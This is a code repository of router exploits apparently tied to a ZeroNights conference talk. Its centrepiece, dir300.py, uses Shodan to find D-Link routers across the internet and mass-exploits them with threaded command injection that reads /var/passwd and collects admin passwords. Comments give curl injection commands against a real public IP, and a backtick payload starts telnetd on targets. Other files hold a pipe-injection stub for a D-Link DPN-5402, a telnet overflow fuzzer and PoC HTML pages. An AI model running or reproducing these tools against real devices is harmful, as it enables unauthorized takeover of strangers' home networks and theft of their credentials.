├── .gitignore ├── dpn5402 ├── run.sh ├── reboot.html └── backup.html ├── README.md ├── sploitz.py ├── dpn5202.py ├── zxfuzz.py └── dir300.py /.gitignore: -------------------------------------------------------------------------------- 1 | idea/* -------------------------------------------------------------------------------- /dpn5402/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | python -m SimpleHTTPServer 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | routerz 2 | ======= 3 | 4 | Some exploits for ZeroNights 0x03 Our talk about home router security is available 5 | 6 | [Main research](http://dsec.ru/upload/medialibrary/589/589327eb24133e5c615fa11950340e05.pdf) 7 | 8 | [SOHO Router insecurity](https://www.dropbox.com/s/tthqozlpkcqsjd8/routerz.pptx) 9 | -------------------------------------------------------------------------------- /dpn5402/reboot.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | D-Link DPN-5402 remote reboot 5 | 6 | 7 |

D-Link DPN-5402 remote reboot with single image

8 | 9 | 10 | -------------------------------------------------------------------------------- /dpn5402/backup.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Router PWN PoC 5 | 6 | 7 | 8 |

w00t w00t we've got r00t

9 | 10 | 11 | 12 | 13 | 14 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /sploitz.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- encoding: utf-8 -*- 3 | # Router vulnerability stat with help of searchsploit 4 | # Tested on Kali Linux 1.09 5 | # Author: @090h 6 | 7 | from subprocess import Popen, PIPE 8 | 9 | vendors = ['d-link', 'tp-link', 'zyxel', 'cisco', 'linksys', 'huawei', 'netgear'] 10 | stat = {} 11 | 12 | def search_sploitz(vendor): 13 | out = Popen('searchsploit %s' % vendor, shell=True, stdout=PIPE).communicate()[0] 14 | if out is None: 15 | return None 16 | return out.split('\n')[2:-1] 17 | 18 | # Get exploit DB stat 19 | for vendor in vendors: 20 | lines = search_sploitz(vendor) 21 | if lines is not None: 22 | stat[vendor] = len(lines) 23 | 24 | 25 | print('ExploitDB statistics') 26 | for w in sorted(stat, key=stat.get, reverse=True): 27 | print w, stat[w] 28 | -------------------------------------------------------------------------------- /dpn5202.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # D-Link DPN-5402 remote exploit 4 | 5 | __author__ = '090h' 6 | __license__ = 'GPL' 7 | 8 | from sys import argv, exit 9 | from os import path 10 | from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter 11 | from requests import get 12 | 13 | class Dpn5402(object): 14 | 15 | def __init__(self, host): 16 | self.host = host 17 | 18 | def exec_cmd(self, cmd): 19 | print(cmd) 20 | url = "http://%s/goform/cbBackupCfgByFTP.xml?rqProtocol=tftp&rqServerIP=1.3.3.7&rqPort=69|%s||&rqFileName=settings" 21 | print(url) 22 | 23 | def get_config(self, proto="ftp", host='192.168.0.2', port=21, user='anonymous', password='qwe@asd.ru', filename='settings'): 24 | url = "http://%s/goform/cbBackupCfgByFTP.xml?rqProtocol=%s&rqServerIP=%s&rqPort=%i&rqUsername=%s&rqPassword=%s&rqFileName=%s" % \ 25 | (self.host, proto, host, port, user, password, filename) 26 | pass 27 | 28 | if __name__ == '__main__': 29 | pass -------------------------------------------------------------------------------- /zxfuzz.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # 4 | # AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 5 | # Dummy telnet fuzzer for ZyXELL Keenetic 6 | # AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 7 | # 8 | # MacBookPro:~ 090h$ telnet 1.0.0.1 9 | # Trying 1.0.0.1... 10 | # Connected to 1.0.0.1. 11 | # Escape character is '^]'. 12 | # 13 | # Password : 14 | # AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 15 | # Vulnerable routers: ZyXEL Keenetic 4G, any other? 16 | # 17 | # AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 18 | # 19 | # author: @090h 20 | # 21 | from telnetlib import * 22 | from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter 23 | from datetime import datetime 24 | import logging 25 | 26 | class ZyxellFuzzer(object): 27 | 28 | def __init__(self, host, port=23, debug=False): 29 | self.host = host 30 | self.port = port 31 | root = logging.getLogger() 32 | if debug: 33 | root.setLevel(logging.DEBUG) 34 | 35 | def fuzz_bof(self, start=1, finish=0): 36 | logging.info("Start telnet fuzzing %s:%i" % (self.host, self.port)) 37 | tn = Telnet() 38 | buflen = start 39 | while buflen != finish: 40 | tn.open(self.host, self.port) 41 | 42 | # Attempts limit == 3 43 | for x in xrange(0,3): 44 | buf = 'A'*buflen 45 | print("Trying length: %i 0x%X" % (len(buf), len(buf))) 46 | logging.debug(tn.read_until('Password :')) 47 | tn.write(buf+'\n') 48 | buflen += 1 49 | 50 | def fuzz2(self, length=0x42): 51 | logging.info("Start telnet fuzzing %s:%i" % (self.host, self.port)) 52 | tn = Telnet() 53 | buf = chr(19)*(length - 1) 54 | 55 | for x in xrange(20, 255): 56 | tn.open(self.host, self.port) 57 | print x 58 | new_buf = buf + chr(x) 59 | tn.write(new_buf+'\n') 60 | print tn.read_until('Password :') 61 | tn.read_until('Password :') 62 | tn.close() 63 | 64 | def main(): 65 | parser = ArgumentParser(description='Dummy telnet fuzzer for ZyXELL Keenetic', formatter_class=ArgumentDefaultsHelpFormatter) 66 | parser.add_argument('host', help='Telnet host to fuzz') 67 | parser.add_argument('-p', '--port', type=int, default=23, required=False, help='telnet port') 68 | #parser.add_argument('-t', '--threads', action='store', type=int, default=5, help='thread count') 69 | parser.add_argument('-l', '--length', action='store', type=int, default=0x40, help='length start') 70 | parser.add_argument('-d', '--debug', action='store_true',help='debug output on') 71 | parser.add_argument('--version', action='version', version='%(prog)s 0.01') 72 | args = parser.parse_args() 73 | start_time = datetime.now() 74 | 75 | zf = ZyxellFuzzer(args.host, args.port, args.debug) 76 | zf.fuzz_bof(0, args.length) 77 | 78 | logging.debug("Start time: " + start_time.strftime('%Y-%m-%d %H:%M:%S')) 79 | logging.debug("Finish time: " + datetime.now().strftime('%Y-%m-%d %H:%M:%S')) 80 | 81 | if __name__ == '__main__': 82 | main() -------------------------------------------------------------------------------- /dir300.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # DIR-300 AutoPwn 4 | # 5 | # D-Link DIR-615, DIR-600 и DIR-300 (rev B) 6 | # Netgear DGN1000B 7 | # Cisco Linksys E1500/E2500 8 | # Netgear SPH200D 9 | # 10 | # curl --data "cmd=cat /var/passwd" http://217.162.11.253:8080/command.php 11 | # curl --data "act=ping&dst=%26%20ls%26" http://217.162.11.253:8080/diagnostic.php 12 | # 13 | # author: @090h 14 | 15 | from Queue import Queue 16 | from threading import Thread 17 | from os import urandom 18 | from time import sleep 19 | from pprint import pprint 20 | from shodan import WebAPI 21 | from sys import argv 22 | from base64 import encodestring 23 | import logging 24 | import urllib2 25 | import urllib 26 | 27 | rooted = [] 28 | 29 | 30 | class Dir300(object): 31 | 32 | firmware = None 33 | info_urls = ['/router_info.xml', '/DevInfo.txt', '/DevInfo.php'] 34 | 35 | def __init__(self, host, port=80): 36 | self.host = host 37 | self.port = port 38 | self.url = 'http://%s:%s' % (host, port) 39 | 40 | def do_GET(self, url): 41 | try: 42 | return self.send(url) 43 | except: 44 | return '' 45 | 46 | def do_POST(self, url, data=None): 47 | return self.send(url, data) 48 | 49 | def send(self, url, data=None, encode=True, encoding='UTF-8'): 50 | url = self.url + url 51 | try: 52 | if data is None: 53 | request = urllib2.Request(url) 54 | else: 55 | if encode: 56 | request = urllib2.Request(url, urllib.urlencode(data)) 57 | else: 58 | request = urllib2.Request(url, data) 59 | response = urllib2.urlopen(request, timeout=5) 60 | if response.getcode() != 200: 61 | return 'ERROR: %i' % response.getcode() 62 | 63 | return response.read().decode(encoding, "replace") 64 | except IOError, e: 65 | return '' 66 | 67 | def basic_auth(self, username='admin', password='admin'): 68 | request = urllib2.Request(self.url) 69 | base64string = encodestring('%s:%s' % (username, password)).replace('\n', '') 70 | request.add_header("Authorization", "Basic %s" % base64string) 71 | return urllib2.urlopen(request).read() 72 | 73 | def vct(self): 74 | return self.do_GET('/tools_vct.xgi?set/runtime/switch/getlinktype=1&set/runtime/diagnostic/pingIp=1.1.1.1`telnetd`&pingIP=1.1.1.1') 75 | 76 | @property 77 | def info(self): 78 | res = '' 79 | for url in self.info_urls: 80 | #print('Quering %s' % url) 81 | resp = self.do_GET(url).strip('\n\n') 82 | res += resp 83 | #print resp 84 | return res 85 | 86 | @property 87 | def firmware(self): 88 | res = '' 89 | for block in self.info: 90 | for line in block.split('\n'): 91 | if line.find('Firmware') != -1: 92 | res += line + '\n' 93 | return res 94 | 95 | def command(self, cmd): 96 | out = self.send('/command.php', 'cmd=%s' % cmd, encode=False) 97 | if out.find('Authenication fail') != -1: 98 | return '' 99 | 100 | return out 101 | 102 | def command_blind(self, cmd): 103 | out = self.send('/diagnostic.php', 'act=ping&dst=%26%20'+cmd+'%26', encode=False) 104 | if out.find('Authenication fail') != -1: 105 | return '' 106 | 107 | return out 108 | 109 | 110 | class DlinkThread(Thread): 111 | 112 | def __init__(self, queue, cmd): 113 | Thread.__init__(self, name=urandom(16).encode('hex')) 114 | self.queue = queue 115 | self.cmd = cmd 116 | 117 | def run(self): 118 | while True: 119 | try: 120 | ip, port = self.queue.get() 121 | d = Dir300(ip) 122 | firmware = d.firmware 123 | if firmware != '': 124 | print ip,port,firmware 125 | 126 | 127 | cmdout = d.command(self.cmd).strip() 128 | if cmdout != '': 129 | pwd = cmdout.split(' ')[1].replace('"', '') 130 | cmdout = 'admin:'+ pwd 131 | #be ethical 132 | #cmdout = '*'*len(pwd) 133 | 134 | print('Rooted %s:%i => %s' % (ip, port, cmdout)) 135 | rooted.append((ip, port, firmware, cmdout)) 136 | finally: 137 | self.queue.task_done() 138 | 139 | 140 | class DlinkManager(object): 141 | 142 | def __init__(self, targets, cmd='cat /var/passwd', thread_count=10): 143 | self.targets = targets 144 | self.thread_count = thread_count 145 | self.cmd = cmd 146 | 147 | def run(self): 148 | self.queue = Queue() 149 | for i in range(self.thread_count): 150 | t = DlinkThread(self.queue, self.cmd) 151 | t.setDaemon(True) 152 | t.start() 153 | 154 | logging.info('Filling queue with %i items' % len(self.targets)) 155 | for target in self.targets: 156 | self.queue.put((target['ip'], target['port'])) 157 | init_size = self.queue.qsize() 158 | 159 | current_count = 0 160 | while not self.queue.empty(): 161 | q = init_size - self.queue.qsize() 162 | #stdout.write("\r%i/%i checked. Check speed %i per sec " % (q, init_size, q - current_count)) 163 | #stdout.flush() 164 | current_count = q 165 | sleep(1) 166 | return 167 | 168 | def exploit(host, port=80): 169 | d = Dir300(host, port) 170 | print("INFO: %s\nFIRMWARE: %s\n" % (d.info, d.firmware)) 171 | print(d.command('cat /var/passwd')) 172 | #print(d.command_blind('cat /var/passwd')) 173 | 174 | def autoroot(api_key, thread_count=10): 175 | 176 | api = WebAPI(api_key) 177 | search_queries = ['Server: Linux, HTTP/1.1, DIR','Mathopd/1.5p6' ]#, 'Server: Linux, HTTP/1.1, DIR-300'] 178 | for query in search_queries: 179 | count = 0 180 | page = 1 181 | total = 0 182 | 183 | while True: 184 | results = api.search(query) 185 | if total == 0: 186 | total = int(results['total']) 187 | print('Results found: %s' % results['total']) 188 | print('Countries found: ') 189 | pprint(results['countries']) 190 | raw_input('press enter to start hacking') 191 | dm = DlinkManager(results['matches'],thread_count=10) 192 | dm.run() 193 | page += 1 194 | count += len(results['matches']) 195 | if count == total: 196 | break 197 | 198 | print("Rooted routers count: %i" % len(rooted)) 199 | print(rooted) 200 | 201 | if __name__ == '__main__': 202 | if len(argv) == 1: 203 | print('No args found, try to query Shodan...') 204 | api_key = raw_input("Shodan API Key: ") 205 | if api_key is None or len(api_key) == 0: 206 | print('Go and get SHODAN_API_KEY at http://www.shodanhq.com/') 207 | exit() 208 | 209 | autoroot(api_key) 210 | else: 211 | port = 80 212 | if len(argv) > 2: 213 | try: 214 | port = int(argv[2]) 215 | except: 216 | print('Invalid port: %s' % argv[2]) 217 | exit() 218 | exploit(argv[1],port) 219 | --------------------------------------------------------------------------------